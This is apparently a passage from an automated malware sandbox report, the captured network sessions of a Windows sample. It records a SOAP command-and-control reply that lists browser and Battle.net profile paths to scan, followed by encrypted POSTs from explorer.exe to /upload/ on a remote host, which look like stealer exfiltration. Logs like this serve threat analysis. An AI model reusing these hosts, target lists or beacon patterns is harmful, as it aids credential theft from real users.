Aug 19, 2021 07:53:37.647351027 CEST	7067	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings" Host: 185.215.113.29:8889 Content-Length: 144 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 19, 2021 07:53:37.704262018 CEST	7067	IN	HTTP/1.1 100 Continue
Aug 19, 2021 07:53:37.827408075 CEST	7070	IN	HTTP/1.1 200 OK Content-Length: 4753 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Thu, 19 Aug 2021 12:53:24 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 42 6c 6f 63 6b 65 64 43 6f 75 6e 74 72 79 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 2f 3e 3c 61 3a 42 6c 6f 63 6b 65 64 49 50 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 2f 3e 3c 61 3a 4f 62 6a 65 63 74 34 3e 66 61 6c 73 65 3c 2f 61 3a 4f 62 6a 65 63 74 34 3e 3c 61 3a 4f 62 6a 65 63 74 36 3e 66 61 6c 73 65 3c 2f 61 3a 4f 62 6a 65 63 74 36 3e 3c 61 3a 53 63 61 6e 42 72 6f 77 73 65 72 73 3e 74 72 75 65 3c 2f 61 3a 53 63 61 6e 42 72 6f 77 73 65 72 73 3e 3c 61 3a 53 63 61 6e 43 68 72 6f 6d 65 42 72 6f 77 73 65 72 73 50 61 74 68 73 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 42 61 74 74 6c 65 2e 6e 65 74 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 43 68 72 6f 6d 69 75 6d 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 47 6f 6f 67 6c 65 5c 43 68 72 6f 6d 65 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 47 6f 6f 67 6c 65 28 78 38 36 29 5c 43 68 72 6f 6d 65 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 4f 70 65 72 61 20 53 6f 66 74 77 61 72 65 5c 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 4d 61 70 6c 65 53 74 75 64 69 6f 5c 43 68 72 6f 6d 65 50 6c 75 73 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 49 72 69 64 69 75 6d 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 37 53 74 61 72 5c 37 53 74 61 72 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 43 65 Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><EnvironmentSettingsResponse xmlns="http://tempuri.org/"><EnvironmentSettingsResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><a:BlockedCountry xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:BlockedIP xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:Object4>false</a:Object4><a:Object6>false</a:Object6><a:ScanBrowsers>true</a:ScanBrowsers><a:ScanChromeBrowsersPaths xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><b:string>%USERPROFILE%\AppData\Local\Battle.net</b:string><b:string>%USERPROFILE%\AppData\Local\Chromium\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google(x86)\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Roaming\Opera Software\</b:string><b:string>%USERPROFILE%\AppData\Local\MapleStudio\ChromePlus\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Iridium\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\7Star\7Star\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Ce

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.7	49730	94.190.187.102	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:53:34.998553038 CEST	7056	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 337 Host: atvcampingtrips.com
Aug 19, 2021 07:53:34.998564959 CEST	7057	OUT	Data Raw: 39 6e 56 18 80 b8 6d 2e d7 aa b2 01 07 06 7c ba 0d 7a cf e1 18 73 e5 66 7b 09 73 95 41 c0 c2 62 99 5e c2 29 02 1f 24 69 e7 ee 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 0d 6b 2c 90 f5 76 0b 75 38 31 bf f5 Data Ascii: 9nVm.\|zsf{sAb^)$i?*$`7C[zqNA -[k,vu81mFHriawDoH[\|xOJ=V'Wsp'^qhUjHqYN5qr5_W')beyXfgMX3/
Aug 19, 2021 07:53:35.136522055 CEST	7058	IN	HTTP/1.0 404 Not Found Date: Thu, 19 Aug 2021 05:53:35 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.7	49731	94.190.187.102	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:53:35.239444017 CEST	7059	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 156 Host: atvcampingtrips.com
Aug 19, 2021 07:53:35.239470959 CEST	7059	OUT	Data Raw: 39 6e 56 18 80 b8 6d 2e d7 aa b2 01 07 06 7c ba 0d 7a cf e1 18 73 e5 66 7b 09 73 95 41 c0 c2 62 99 5e c2 29 02 1f 24 69 e7 ee 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 02 6b 2c 90 f5 76 0b 75 61 49 dc a4 Data Ascii: 9nVm.\|zsf{sAb^)$i?$`7C[zqNA -[k,vuaI=O+M&p{-v~y0K^03ypM0
Aug 19, 2021 07:53:35.471800089 CEST	7060	IN	HTTP/1.0 404 Not Found Date: Thu, 19 Aug 2021 05:53:35 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.7	49732	94.190.187.102	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:53:35.586848974 CEST	7061	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 231 Host: atvcampingtrips.com
Aug 19, 2021 07:53:35.586879969 CEST	7061	OUT	Data Raw: 39 6e 56 18 80 b8 6d 2e d7 aa b2 01 07 06 7c ba 0d 7a cf e1 18 73 e5 66 7b 09 73 95 41 c0 c2 62 99 5e c2 29 02 1f 24 69 e7 ee 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 03 6b 2c 90 f5 76 0b 75 2f 1b e4 b7 Data Ascii: 9nVm.\|zsf{sAb^)$i?$`7C[zqNA -[k,vu/czx~=k+W%ow`vbb28G:1hqrW&-v'0N`p{}rz _ Ql\UO8
Aug 19, 2021 07:53:35.769522905 CEST	7062	IN	HTTP/1.0 404 Not Found Date: Thu, 19 Aug 2021 05:53:35 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.7	49733	94.190.187.102	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:53:35.863272905 CEST	7063	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 322 Host: atvcampingtrips.com
Aug 19, 2021 07:53:35.863364935 CEST	7063	OUT	Data Raw: 39 6e 56 18 80 b8 6d 2e d7 aa b2 01 07 06 7c ba 0d 7a cf e1 18 73 e5 66 7b 09 73 95 41 c0 c2 62 99 5e c2 29 02 1f 24 69 e7 ee 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 00 6b 2c 90 f5 76 0b 75 4d 3d d7 96 Data Ascii: 9nVm.\|zsf{sAb^)$i?*$`7C[zqNA -[k,vuM=J<b`H#3sH2h2v?RyBB?_S#tD"3/j_KA\u+M.=:kt]^D?m>A3
Aug 19, 2021 07:53:36.045010090 CEST	7064	IN	HTTP/1.0 404 Not Found Date: Thu, 19 Aug 2021 05:53:35 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.7	49734	210.207.244.101	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:53:36.348409891 CEST	7065	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 300 Host: atvcampingtrips.com
Aug 19, 2021 07:53:36.348488092 CEST	7065	OUT	Data Raw: 39 6e 56 18 80 b8 6d 2e d7 aa b2 01 07 06 7c ba 0d 7a cf e1 18 73 e5 66 7b 09 73 95 41 c0 c2 62 99 5e c2 29 02 1f 24 69 e7 ee 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 01 6b 2c 90 f5 76 0b 75 3e 19 e1 ee Data Ascii: 9nVm.\|zsf{sAb^)$i?$`7C[zqNA -[k,vu>PUq@IF3?qhx7~";@WxMI3S`FRIb\|}J\a\MipeV[9$pOoRmZk@RQ3
Aug 19, 2021 07:53:37.530919075 CEST	7066	IN	HTTP/1.0 404 Not Found Date: Thu, 19 Aug 2021 05:53:36 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.7	49735	94.190.187.102	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:53:37.633702993 CEST	7067	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 207 Host: atvcampingtrips.com
Aug 19, 2021 07:53:37.633717060 CEST	7067	OUT	Data Raw: 39 6e 56 18 80 b8 6d 2e d7 aa b2 01 07 06 7c ba 0d 7a cf e1 18 73 e5 66 7b 09 73 95 41 c0 c2 62 99 5e c2 29 02 1f 24 69 e7 ee 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 06 6b 2c 90 f5 76 0b 75 26 09 d4 81 Data Ascii: 9nVm.\|zsf{sAb^)$i?*$`7C[zqNA -[k,vu&\KzpE\|^5xB@\|`U\~?"'L`:b8voC+V;<
Aug 19, 2021 07:53:37.815463066 CEST	7068	IN	HTTP/1.0 404 Not Found Date: Thu, 19 Aug 2021 05:53:37 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 334 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6c 6f 61 64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.7	49736	210.207.244.101	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 19, 2021 07:53:38.122009039 CEST	7075	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 348 Host: atvcampingtrips.com
Aug 19, 2021 07:53:38.122028112 CEST	7075	OUT	Data Raw: 39 6e 56 18 80 b8 6d 2e d7 aa b2 01 07 06 7c ba 0d 7a cf e1 18 73 e5 66 7b 09 73 95 41 c0 c2 62 99 5e c2 29 02 1f 24 69 e7 ee 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 07 6b 2c 90 f5 76 0b 75 7e 46 e6 bf Data Ascii: 9nVm.\|zsf{sAb^)$i?*$`7C[zqNA -[k,vu~F7nJ"QME5J][GJFOJvB4%s;?0/xOHSiG!=&U\^8"vAjrbJ}iE5
Aug 19, 2021 07:53:39.350864887 CEST	7082	IN	HTTP/1.0 404 Not Found Date: Thu, 19 Aug 2021 05:53:38 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 54 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 d0 9e 5c 28 52 39 08 a5 6c 58 b5 ad 1e bd cf b3 f3 6d 92 21 c7 ed 2e 15 1c 81 8b 88 cb 77 9b 35 19 47 d1 07 92 5c Data Ascii: #\(R9lXm!.w5G\

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
